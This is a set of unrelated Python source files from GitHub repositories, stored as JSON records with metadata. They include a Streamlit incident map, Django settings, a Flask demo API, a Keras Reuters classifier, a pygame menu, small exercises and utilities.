2017]\n if st.button('2018'):\n df_map = df_map[df_map['Date'].dt.year == 2018]\n if st.button('2019'):\n df_map = df_map[df_map['Date'].dt.year == 2019]\n if st.button('2020'):\n df_map = df_map[df_map['Date'].dt.year == 2020]\n if st.button('2021'):\n df_map = df_map[df_map['Date'].dt.year == 2021]\n\nst.write('Found', len(df_map), 'incidents')\n\n# TODO: set fixed original view\nview_state=pdk.ViewState(\n latitude=df_map['latitude'].iloc[0],\n longitude=df_map['longitude'].iloc[0],\n zoom=9.8,\n bearing=0,\n pitch=0\n)\n\n\nicon_layer = pdk.Layer(\n type=\"IconLayer\",\n data=df_map,\n get_icon=\"icon_data\",\n get_size=4,\n size_scale=15,\n get_position=[\"longitude\", \"latitude\"],\n pickable=True,\n)\n\ntooltip={\n \"html\": \"Date: {date_form}
{Header}
{Story}
Source: {Source}\",\n \"style\": {\n \"backgroundColor\": \"grey\",\n \"color\": \"white\", \n \"width\": \"500px\"}\n}\nwith col_1:\n st.pydeck_chart(pdk.Deck(map_style='mapbox://styles/mapbox/light-v9', layers=[icon_layer], initial_view_state=view_state, tooltip=tooltip))\n\nwith open('pickles/df_barplot_count.pickle', 'rb') as f:\n df_barplot_count= pickle.load(f)\n\nst.subheader('Interactive Chart with Plotly')\nfig = px.bar(\n df_barplot_count,\n x=\"District\", y='count',\n color=\"type of incident\",\n hover_name = 'type of incident',\n title=\"Incidents per District\",\n range_y=[0,50],\n animation_frame=\"year\",\n animation_group=\"District\")\n\nst.plotly_chart(fig, use_container_width=True)\n\nwith open('pickles/df_lgbt.pickle', 'rb') as f:\n df_lgbt_DE = pickle.load(f)\n\nwith open('pickles/df_lgbt_translated.pickle', 'rb') as f:\n df_lgbt_EN= pickle.load(f)\n\ndf_lgbt = df_lgbt_DE\n\nst.write('This table contains all the incidents reported since 2014.')\n\"It's interactive! You can sort the columns by clicking on their title and hover over the stories to read them.\"\nst.write('Choose a language:')\ncol_1, col_2, col_3 = st.beta_columns([1,1, 18])\nwith col_1:\n if st.button('DE', key='de_table'):\n df_lgbt = df_lgbt_DE\nwith col_2:\n if st.button('EN', key='en_table'):\n df_lgbt = df_lgbt_EN\n\n\ndf_lgbt[['date_form', 'District', 'Header', 'Story', 'Source', 'type of incident']]\n\n\nst.subheader(\"What to do Next:\")\n'''\n* Finish labeling the data\n* Figuring out a way to desambiguate locations\n* Adding an input form so visitors can report new cases\n* Find data from other sources\n* Train a NLP model with the labeled data to automaticlally detect if new incidents are relevant for this project\n* Make a pipeline so new incidents data can be added automatically\n'''\n\nst.subheader(\"Tech Stack\")\n\ncol_1, col_2, col_3, col_4, col_5 = st.beta_columns([2,2,2,2,2])\nwith col_1:\n st.image(\"tech stack/python-logo.png\")\n st.image(\"tech stack/pandas.png\")\n st.image(\"tech stack/Google_Translate_Icon.png\")\nwith col_2:\n st.image(\"tech stack/bs.png\")\n st.image(\"tech stack/logo-wide.png\")\n st.image(\"tech stack/Requests-logo.png\")\n\nwith col_3:\n st.image(\"tech stack/SpaCy_logo.svg.png\")\n st.image(\"tech stack/numpy.png\")\n st.image(\"tech stack/streamlit-logo-primary-colormark-darktext.png\")\n\nwith col_4:\n st.image(\"tech stack/Plotly-logo-01-square.png\")\n st.image(\"tech stack/RegEx-Logo-300x142.png\")\n st.image(\"tech stack/jupyter.png\")\n\nwith col_5:\n st.image(\"tech stack/pickle-rick.png\")\n\n\n","repo_name":"fserro/LGBT-violence-Berlin","sub_path":"final_project/lgbt_violence.py","file_name":"lgbt_violence.py","file_ext":"py","file_size_in_byte":12721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13370283441","text":"# Django settings for scheduler project.\nimport os\n#from local_settings import *\ntry:\n from localsettings import *\nexcept ImportError:\n DEVEL = False\n\nDIRNAME = os.path.dirname(__file__)\n# DEVEL should be set in localsettings.py\nDEBUG = DEVEL # DEVEL should be set in localsettings.py\nTEMPLATE_DEBUG = DEVEL\n\n# See http://docs.djangoproject.com/en/dev/howto/deployment/fastcgi/#forcing-the-url-prefix-to-a-particular-value\nFORCE_SCRIPT_NAME = ''\n\n# We currently aren't using this. Eventually, admins will get messages about errors that occur on the site when DEBUG is off.\nADMINS = (\n# ('Will Crawford', 'wacrawfo@ucsc.edu'),\n# ('Ben Ross', 'benr22@gmail.com'),\n)\n\nMANAGERS = ADMINS\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Los_Angeles'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = os.path.join(DIRNAME, 'static')\n\n# MEDIA_URL has been moved to localsettings.py\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\nADMIN_MEDIA_PREFIX = '/media/admin/'\n\n#URL of the Login page\nLOGIN_URL = '/login'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'jzka9al606r)*og&ti8__&66*7=c&7u5tj8*qns*djw3@un!47'\n\n# List of template context processors\nTEMPLATE_CONTEXT_PROCESSORS = (\n\"django.contrib.auth.context_processors.auth\",\n\"django.core.context_processors.debug\",\n\"django.core.context_processors.i18n\",\n\"django.core.context_processors.media\",\n\"django.contrib.messages.context_processors.messages\",\n)\n\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n)\n\nROOT_URLCONF = 'scheduler.urls'\n\nTEMPLATE_DIRS = (\n os.path.join(DIRNAME, 'templates'),\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.admin',\n 'django.contrib.admindocs',\n # This line lets us do Django to UML.\n #'django_extensions',\n 'scheduler.algorithm',\n 'scheduler.employee',\n 'scheduler.manager',\n\t'scheduler.administrator',\n\t'scheduler.thecal',\n)\n\nFIXTURES_DIR = (\n\tos.path.join(DIRNAME, 'fixtures'),\n)","repo_name":"bpross/MyCourses-Scheduler","sub_path":"django/scheduler/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"19147260128","text":"print(\"Welcome to my computer quiz!\")\r\n\r\nplaying = input(\"Do you want to play a game? \")\r\n\r\nif playing.lower() != \"yes\":\r\n quit()\r\n\r\nprint(\"Okay then! Let's play :)\" )\r\nscore = 0\r\n\r\nanswer = input(\"What does CPU stand for? \")\r\n\r\nif answer == \"Central Processing Unit\":\r\n print('That is absolutely correct!')\r\n score = score+1\r\nelse:\r\n print(\"Sorry! That is incorrect\")\r\n \r\nanswer = input(\"What does GPU stand for? \")\r\n\r\nif answer == \"Graphics Processing Unit\":\r\n print('That is absolutely correct!')\r\n score += 1\r\nelse:\r\n print(\"Sorry! That is incorrect\")\r\n\r\nanswer = input(\"What does RAM stand for? \")\r\n\r\nif answer == \"Random Access Memory\":\r\n print('That is absolutely correct!')\r\n score += 1\r\nelse:\r\n print(\"Sorry! That is incorrect\")\r\n\r\nanswer = input(\"What does PSU stand for? \")\r\n\r\nif answer == \"Power supply\":\r\n print('That is absolutely correct!')\r\n score += 1\r\nelse:\r\n print(\"Sorry! That is incorrect\")\r\n\r\nprint(\"You got \" + str(score) + \" questions correct!\")\r\nprint(\"You got \" + str((score/4) * 100) + \"%.\")\r\n","repo_name":"OM3371/pyt","sub_path":"QUIZ.py","file_name":"QUIZ.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4290739829","text":"'''\nAdam Roy\nAssignment 11\nCSCI 160\n'''\n\nimport os\n\ndef fill_dict(f):\n d = {}\n f = open(f, 'r')\n for line in f:\n x = line.strip('\\n')\n (key, val) = x.split(':')\n d[(key)] = val\n return d\n\ndef find_word(d):\n inp = input('Enter an English word: ')\n w = 0\n while inp != '':\n w = d.get(inp)\n print('\\nThe French translation is: ', w)\n inp = input('\\nEnter an English word: ')\n \n \n\ndef main():\n f = str(input('Enter a file name: \\n'))\n if not os.path.isfile (f):\n print('Input file is invalid or does not exist')\n os._exit(0) \n \n fD = fill_dict(f)\n print('\\nEnter an English word to receive the French translation: \\nPress ENTER to quit.\\n')\n fW = find_word(fD)\nmain()\n \n","repo_name":"adamr814/College_Course_Code","sub_path":"CSCI 160/Lab 11/Assignment 11.py","file_name":"Assignment 11.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42807504831","text":"import math\n\n\ndef main():\n expr = input()\n stack = []\n stack2 = []\n for elem in expr.split():\n if elem[0] == \"(\":\n stack.append(elem[1:])\n elif elem[-1] == \")\":\n num = elem.strip(\")\")\n stack.append(num)\n for _ in range(len(elem) - len(num)):\n stack.append(\")\")\n else:\n stack.append(elem)\n # print(stack)\n\n while len(stack) > 0:\n pop = stack.pop()\n if pop[-1] != \")\" and len(stack2) > 0 and stack2[-1] != \")\":\n num1 = int(pop)\n num2 = int(stack2.pop())\n op = stack.pop()\n if op == \"add\":\n res = num1 + num2\n elif op == \"mul\":\n res = num1 * num2\n elif op == \"sub\":\n res = num1 - num2\n else: # div\n if num2 == 0:\n print(\"error\")\n return\n res = math.floor(num1 / num2)\n stack.append(str(res))\n stack2.pop()\n # print(f\"stack: {stack}\", end=' ')\n # print(f\"stack2: {stack2}\")\n continue\n\n stack2.append(pop)\n # print(f\"stack: {stack}\", end=' ')\n # print(f\"stack2: {stack2}\")\n\n ...\n\n print(stack2[0])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"voldikss/code","sub_path":"nowcoder/仿LISP算法/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1218942812","text":"\"\"\"JSON utilities for pyenphase.\"\"\"\nimport logging\nfrom typing import Any\n\nimport orjson\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef json_loads(end_point: str, json_source: bytes | str) -> Any:\n try:\n return orjson.loads(json_source)\n except orjson.JSONDecodeError as e:\n _LOGGER.debug(\n \"Unable to decode response from Envoy endpoint %s: %s\", end_point, e\n )\n raise\n","repo_name":"pyenphase/pyenphase","sub_path":"src/pyenphase/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"37877757027","text":"from flask import Flask,render_template, request, session, Response, redirect\nfrom database import connector\nfrom model import entities\nimport json\n\ndb = connector.Manager()\nengine = db.createEngine()\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/books')\ndef users():\n db_session = db.getSession(engine)\n users = db_session.query(entities.Book)\n data = users[:]\n return Response(json.dumps(data, cls=connector.AlchemyEncoder), mimetype = 'application/json')\n\n@app.route('/users')\ndef users2():\n db_session = db.getSession(engine)\n users2 = db_session.query(entities.User)\n data = users2[:]\n return Response(json.dumps(data, cls=connector.AlchemyEncoder), mimetype = 'application/json')\n\n@app.route('/messages')\ndef users3():\n db_session = db.getSession(engine)\n users3 = db_session.query(entities.Message)\n data = users3[:]\n return Response(json.dumps(data, cls=connector.AlchemyEncoder), mimetype = 'application/json')\n\n@app.route('/create_test_books', methods = ['GET'])\ndef create_test_books():\n db_session = db.getSession(engine)\n book = entities.Book(name=\"Head First HTML5\", isbn=\"12345\", title=\"Head first about HTML5\")\n db_session.add(book)\n db_session.commit()\n return \"Test books created!\"\n\n@app.route('/create_test_messages', methods = ['GET'])\ndef create_test_messages():\n db_session = db.getSession(engine)\n message = entities.Message( content=\"Hola\", user_from_id=1, user_to_id = 2)\n db_session.add(message)\n db_session.commit()\n return \"Test message created!\"\n\n@app.route('/create_test_users', methods = ['GET'])\ndef create_test_users():\n db_session = db.getSession(engine)\n user = entities.User(code=\"201810456\", name=\"Mateo\", lastname=\"Noel\", password=\"*****\")\n db_session.add(user)\n db_session.commit()\n return \"Test user created!\"\n\n@app.route('/users/', methods = ['GET'])\ndef get_user(id):\n db_session = db.getSession(engine)\n users = db_session.query(entities.User).filter(entities.User.id == id)\n for user in users:\n js = json.dumps(user, cls = connector.AlchemyEncoder)\n return Response(js, status=200, mimetype='application/json')\n\n message = { \"status\": 404, 'message': \"Not found\"}\n return Response(message, status=404, mimetype='application/json')\n\nif __name__ == '__main__':\n app.secret_key = \"..\"\n app.run(port=8080, threaded=True, host=('0.0.0.0'))\n","repo_name":"cs2b01/uniform-interface-mateonoel2","sub_path":"layered-master/web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25971149971","text":"# -*-coding:utf-8 -*-\n\n\"\"\"\n# Time :2023/1/6 17:38\n# Author :pei xiaopeng\n# version :python 3.9\n# Description: 路透社数据集, 单标签多分类\n\"\"\"\n\nfrom tensorflow.keras.datasets import reuters\nimport numpy as np\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport matplotlib.pyplot as plt\n\n\n# 加载数据\n(train_data, train_labels), (test_data, test_labels) = reuters.load_data(num_words=10000)\n# 解码\nword_index = reuters.get_word_index()\nreverse_word_index = dict(\n [(value, key) for (key, value) in word_index.items()]\n)\ndecoded_review = \" \".join(\n [reverse_word_index.get(i - 3, \"?\") for i in train_data[0]]\n)\n\n\n# 准备数据\ndef vectorize_sequences(sequences, dimension=10000):\n results = np.zeros((len(sequences), dimension))\n for i, sequences in enumerate(sequences):\n for j in sequences:\n results[i, j] = 1.\n return results\n\n\nx_train = vectorize_sequences(train_data)\nx_test = vectorize_sequences(test_data)\n\n\n# one-hot分类编码\ndef to_one_hot(labels, dimension=46):\n results = np.zeros((len(labels), dimension))\n for i, label in enumerate(labels):\n results[i, label] = 1.\n return results\n\n\ny_train = to_one_hot(train_labels)\ny_test = to_one_hot(test_labels)\n\n# 建模\nmodel = keras.Sequential([\n # 46个分类,需要更大的空间维度\n layers.Dense(64, activation=\"relu\")\n , layers.Dense(64, activation=\"relu\")\n # softmax函数,概率分布:每个类别都有一个概率\n , layers.Dense(46, activation=\"softmax\")\n])\n\n# 编译模型(使用优化器和损失函数来配置模型)\nmodel.compile(optimizer=\"rmsprop\"\n , loss=\"categorical_crossentropy\"\n , metrics=[\"accuracy\"])\n\n# 在训练集中留出验证集\nx_val = x_train[:1000] # 验证集\npartial_x_train = x_train[1000:] # 训练集\ny_val = y_train[:1000]\npartial_y_train = y_train[1000:]\n\n# 训练模型\nhistory = model.fit(partial_x_train\n , partial_y_train\n , epochs=20\n , batch_size=512\n , validation_data=(x_val, y_val))\n# 训练的模型有一个history对象,它是一个字典,包含训练过程的全部数据\nhistory_dict = history.history\n# print(history_dict.keys())\n\n# 绘制训练损失和验证损失\nloss_value = history_dict[\"loss\"]\nval_value = history_dict[\"val_loss\"]\nepochs = range(1, len(loss_value) + 1)\nplt.plot(epochs, loss_value, \"bo\", label=\"Training loss\")\nplt.plot(epochs, val_value, \"b\", label=\"Validation loss\")\nplt.title(\"Training and Validation loss\")\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Loss\")\nplt.legend()\nplt.show()\n\n# 绘制训练精度和验证精度\nplt.clf()\nacc = history_dict[\"accuracy\"]\nval_acc = history_dict[\"val_accuracy\"]\nepochs = range(1, len(acc) + 1)\nplt.plot(epochs, acc, \"bo\", label=\"Training acc\")\nplt.plot(epochs, val_acc, \"b\", label=\"Validation acc\")\nplt.title(\"Training and Validation accuracy\")\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Accuracy\")\nplt.legend()\nplt.show()\n\n# 第9轮开始过拟合,重新建模\nmodel = keras.Sequential([\n # 46个分类,需要更大的空间维度\n layers.Dense(64, activation=\"relu\")\n , layers.Dense(64, activation=\"relu\")\n # softmax函数,概率分布:每个类别都有一个概率\n , layers.Dense(46, activation=\"softmax\")\n])\n\n# 编译模型(使用优化器和损失函数来配置模型)\nmodel.compile(optimizer=\"rmsprop\"\n , loss=\"categorical_crossentropy\"\n , metrics=[\"accuracy\"])\n# 训练\nmodel.fit(x_train\n , y_train\n , epochs=9\n , batch_size=512)\nresults = model.evaluate(x_test, y_test)\nprint(results) # 损失0.94, 精度0.78\n\n\n# 46个类别,看下随机分类器的精度\nimport copy\n\ntest_labels_copy = copy.copy(test_labels)\nnp.random.shuffle(test_labels_copy) # 随机打乱\nhist_array = np.array(test_labels) == np.array(test_labels_copy)\nprint(hist_array.mean()) # 0.19\n\n# 预测\npred = model.predict(x_test)\ny_pred = [np.argmax(pred[i]) for i in range(len(x_test))]\nprint(y_pred)\n\n# 为什么要用64个单元的中间层, 可以测试下4个单元\nmodel = keras.Sequential([\n # 第二层用4个单元测试\n layers.Dense(64, activation=\"relu\")\n , layers.Dense(4, activation=\"relu\")\n # softmax函数,概率分布:每个类别都有一个概率\n , layers.Dense(46, activation=\"softmax\")\n])\n\n# 编译模型(使用优化器和损失函数来配置模型)\nmodel.compile(optimizer=\"rmsprop\"\n , loss=\"categorical_crossentropy\"\n , metrics=[\"accuracy\"])\n# 训练\nmodel.fit(x_train\n , y_train\n , epochs=9\n , batch_size=512)\nresults = model.evaluate(x_test, y_test)\nprint(results) # 精度只有0.64\n\n# 精度下降8%, 主要原因:试图将大量的信息压缩到维度过小的中间层。\n# 总结:单元维度要大于分类个数,过大没有关系,小了精度会降低\n","repo_name":"GentleLemon/deep_learning_with_python","sub_path":"新闻分类:多分类问题.py","file_name":"新闻分类:多分类问题.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40285264047","text":"import pygame, sys, os\nfrom settings import *\n\n\nclass GameoverScreen:\n def __init__(self, window, clock, font_40, font_80):\n self.window = window\n self.clock = clock\n self.running = True\n self.option = \"\"\n self.current_button = 0\n self.change_color = 255\n self.font_40 = font_40\n self.font_80 = font_80\n self.restart_rect = pygame.Rect(window_size[0] / 2 - 100, window_size[1] / 2 - 30, 200, 60)\n self.exit_rect = pygame.Rect(window_size[0] / 2 - 100, window_size[1] / 2 + 60, 200, 60)\n self.gameover_label = self.font_80.render(\"GAME OVER\", 0, WHITE_COLOR)\n self.background_img = pygame.transform.scale(pygame.image.load(os.path.join(\"assets/img\", \"background_0.png\")), (pygame.display.Info().current_w, pygame.display.Info().current_h))\n\n def get_option(self):\n return self.option\n\n def update(self):\n self.change_color -= 2\n if self.change_color < 0:\n self.change_color = 0\n\n def run(self):\n while self.running:\n self.window.blit(self.background_img, (0, 0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n self.current_button -= 1\n elif event.key == pygame.K_DOWN:\n self.current_button += 1\n\n if event.key == pygame.K_RETURN:\n if self.current_button == 0:\n self.option = \"restart\"\n elif self.current_button == 1:\n self.option = \"exit\"\n self.running = False\n\n if self.current_button < 0:\n self.current_button = 1\n elif self.current_button > 1:\n self.current_button = 0\n\n self.update()\n self.draw()\n\n pygame.display.flip()\n self.clock.tick(fps)\n\n def draw(self):\n self.window.blit(self.gameover_label, (window_size[0] / 2 - self.gameover_label.get_width() / 2, 120))\n\n if self.current_button == 0:\n restart_label = self.font_40.render(\"RESTART\", 0, BLACK_COLOR)\n pygame.draw.rect(self.window, WHITE_COLOR, self.restart_rect, 0, 5)\n self.window.blit(restart_label, (self.restart_rect.x + (self.restart_rect.w / 2 - restart_label.get_width() / 2), self.restart_rect.y + (self.restart_rect.h / 2 - restart_label.get_height() / 2)))\n else:\n restart_label = self.font_40.render(\"RESTART\", 0, WHITE_COLOR)\n pygame.draw.rect(self.window, WHITE_COLOR, self.restart_rect, 1, 5)\n self.window.blit(restart_label, (self.restart_rect.x + (self.restart_rect.w / 2 - restart_label.get_width() / 2), self.restart_rect.y + (self.restart_rect.h / 2 - restart_label.get_height() / 2)))\n\n if self.current_button == 1:\n exit_label = self.font_40.render(\"EXIT\", 0, BLACK_COLOR)\n pygame.draw.rect(self.window, WHITE_COLOR, self.exit_rect, 0, 5)\n self.window.blit(exit_label, (self.restart_rect.x + (self.exit_rect.w / 2 - exit_label.get_width() / 2), self.exit_rect.y + (self.exit_rect.h / 2 - exit_label.get_height() / 2)))\n else:\n exit_label = self.font_40.render(\"EXIT\", 0, WHITE_COLOR)\n pygame.draw.rect(self.window, WHITE_COLOR, self.exit_rect, 1, 5)\n self.window.blit(exit_label, (self.restart_rect.x + (self.exit_rect.w / 2 - exit_label.get_width() / 2), self.exit_rect.y + (self.exit_rect.h / 2 - exit_label.get_height() / 2)))\n","repo_name":"zJvco/scout-zombies-game","sub_path":"gameover_screen.py","file_name":"gameover_screen.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15653525913","text":"message = input().split()\nnew_message = []\n\nfor el in message:\n char_code = \"\"\n word = el\n \n #find the char code of the first letter\n for char in el:\n if char.isdigit():\n char_code += char\n\n #replace the char code with the letter to form the word\n word = word.replace(char_code, chr(int(char_code)))\n\n #replace the places of the 2nd & last letters of the word, to do that, turn the word into list\n word = list(word)\n word[1], word[-1] = word[-1], word[1]\n new_message.append(\"\".join(word))\n\nprint(\" \".join(new_message))","repo_name":"geodimitrov/Python-Fundamentals-SoftUni","sub_path":"Lists/Advanced/07. decipher_this.py","file_name":"07. decipher_this.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25140585637","text":"import os\nimport pandas as pd\nimport argparse\nimport matplotlib.pyplot as plt\n\nfrom PIL import Image\n\ndef visualize_pair(\n data_dir,\n pair_idx=0,\n save_plot_path='./patch_pair_plot.png'\n):\n fig, axes = plt.subplots(1, 2, figsize=(10, 10))\n img_1_path = os.path.join(\n data_dir, f'pair_{pair_idx}_img_0.jpg'\n )\n img_2_path = os.path.join(\n data_dir, f'pair_{pair_idx}_img_1.jpg'\n )\n\n image_1 = Image.open(img_1_path)\n axes[0].imshow(image_1)\n axes[0].axis('off')\n\n image_2 = Image.open(img_2_path)\n axes[1].imshow(image_2)\n axes[1].axis('off')\n\n plt.tight_layout()\n\n if save_plot_path is not None:\n plt.savefig(save_plot_path)\n print(f\"Plot saved as {save_plot_path}\")\n else:\n plt.show()\n\ndef visualize_patches(\n data_dir, \n n_pairs_to_show=4,\n save_plot_path='./patches_plot.png'\n):\n fig, axes = plt.subplots(n_pairs_to_show, 2, figsize=(10, 10))\n images = [\n os.path.join(data_dir, filename) \\\n for filename in os.listdir(data_dir)\n ]\n images.sort()\n images = images[:(n_pairs_to_show * 2)]\n print(images)\n n_images = len(images)\n\n for i in range(n_pairs_to_show):\n for j in range(2):\n idx = i * 2 + j\n if idx < n_images:\n image_path = images[idx]\n image = Image.open(image_path)\n axes[i][j].imshow(image)\n axes[i][j].axis('off')\n\n plt.tight_layout()\n\n if save_plot_path is not None:\n plt.savefig(save_plot_path)\n print(f\"Plot saved as {save_plot_path}\")\n else:\n plt.show()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--data_dir',\n type=str,\n default='./data/patches_dataset'\n )\n parser.add_argument(\n '--pair_idx',\n type=int,\n default=0\n )\n args = parser.parse_args()\n\n visualize_pair(\n args.data_dir,\n args.pair_idx\n )\n\nif __name__ == '__main__':\n main()","repo_name":"wjnwjn59/SIFT_Unsupervised_Learning","sub_path":"utils/patch_visualize.py","file_name":"patch_visualize.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2011696573","text":"# encoding: utf-8\nimport os, sys\nimport thread\nimport subprocess\nimport time\nimport json\nfrom sublime import View\nfrom operator import itemgetter\n \n# used as a token to uniquely identify tasks and source view\nclass Task(tuple):\n def __new__(_cls, *args):\n if not args or args[0] is None: \n return None\n\n if isinstance(args[0], View):\n raw_task = args[0].settings().get('shebang.task_id')\n return tuple.__new__(_cls, json.loads(raw_task)) if raw_task else None\n elif len(args)==2:\n return tuple.__new__(_cls, (args[0], int(args[1])))\n elif len(args)==1:\n return tuple.__new__(_cls, (args[0], -1))\n path = property(itemgetter(0))\n view = property(itemgetter(1))\n\n\n# subprocess.Popen with a threaded listener (from Default/exec.py)\nclass AsyncProcess(object):\n def __init__(self, arg_list, env, listener,\n shell=False, encoding=None, task=None, \n **kwargs):\n self.inv = dict((k,v) for k,v in locals().items() if k not in ['self','listener'])\n self.listener = listener\n self.killed = False\n self.ttl = 1 # 2 (i guess there's nothing to be lost by merging stdout+err?)\n self.encoding = encoding\n self.task = task\n self.start_time = time.time()\n\n # Hide the console window on Windows\n startupinfo = None\n if os.name == \"nt\":\n startupinfo = subprocess.STARTUPINFO()\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n\n proc_env = os.environ.copy()\n proc_env.update(env)\n for k, v in proc_env.iteritems():\n proc_env[k] = os.path.expandvars(v).encode(sys.getfilesystemencoding())\n\n self.proc = subprocess.Popen(arg_list, stdout=subprocess.PIPE,\n # stderr=subprocess.PIPE, startupinfo=startupinfo, env=proc_env, shell=shell)\n stderr=subprocess.STDOUT, startupinfo=startupinfo, env=proc_env, shell=shell)\n\n if self.proc.stdout:\n thread.start_new_thread(self.read_stdout, ())\n\n if self.proc.stderr:\n thread.start_new_thread(self.read_stderr, ())\n\n self.pid = self.proc.pid\n\n def kill(self):\n if not self.killed:\n self.killed = True\n self.proc.terminate()\n self.listener = None\n\n def poll(self):\n return self.proc.poll() == None\n\n def exit_code(self):\n return self.proc.poll()\n\n def read_stdout(self):\n while True:\n data = os.read(self.proc.stdout.fileno(), 2**15)\n\n if data != \"\":\n if self.listener:\n self.listener.on_data(self, data)\n else:\n self.proc.stdout.close()\n if self.listener:\n self.listener.on_data(self, None)\n break\n\n def read_stderr(self):\n while True:\n data = os.read(self.proc.stderr.fileno(), 2**15)\n\n if data != \"\":\n if self.listener:\n self.listener.on_data(self, data)\n else:\n self.proc.stderr.close()\n if self.listener:\n self.listener.on_data(self, None)\n break\n","repo_name":"samizdatco/sublime-text-shebang","sub_path":"shebang/proc.py","file_name":"proc.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"17313804676","text":"import csv\nimport os\nimport errno\nfrom collections import OrderedDict\n\n\n\nclass AuthorMappingWriter(object):\n\n\n def __init__(self, filepath, delimiter=','):\n self.__delimiter = delimiter\n self.__filepath = filepath\n self.__file = None\n self.__writer = None\n\n self.__nextAuthorId = 0\n self.__authorIdMapping = OrderedDict()\n\n\n def open(self):\n if not os.path.exists(os.path.dirname(self.__filepath)):\n try:\n os.makedirs(os.path.dirname(self.__filepath))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n\n # w = writing, will empty file and write from beginning (file is created)\n # a+ = read and append (file is created if it does not exist)\n self.__file = open(self.__filepath, 'w', newline='', encoding=\"UTF-8\")\n self.__writer = csv.writer(self.__file)\n return self\n\n\n def close(self):\n self.__file.close()\n\n\n def printHeader(self, template=None):\n if template is None:\n self.__writer.writerow([\"author_id\", \"author\"])\n else:\n self.__writer.writerow(template)\n\n\n def mapToId(self, author):\n if author in self.__authorIdMapping:\n authorId = self.__authorIdMapping[author]\n else:\n authorId = self.__nextAuthorId\n self.__authorIdMapping[author] = authorId\n self.__writer.writerow([authorId, author])\n self.__nextAuthorId += 1\n return authorId\n\n\n def __enter__(self):\n return self.open()\n\n\n def __exit__(self, type, value, traceback):\n self.close()\n\n\n\nif __name__ == '__main__':\n writer = AuthorMappingWriter(os.path.join(\"data\", 'AuthorMappingTest.csv'))\n writer.open()\n writer.printHeader()\n writer.mapToId(\"Ulli\")\n writer.mapToId(\"Hans\")\n writer.mapToId(\"Moritz\")\n writer.mapToId(\"Hans\")\n writer.close()\n","repo_name":"CodeLionX/CommentSearchEngine","sub_path":"cse/writer/AuthorMappingWriter.py","file_name":"AuthorMappingWriter.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} 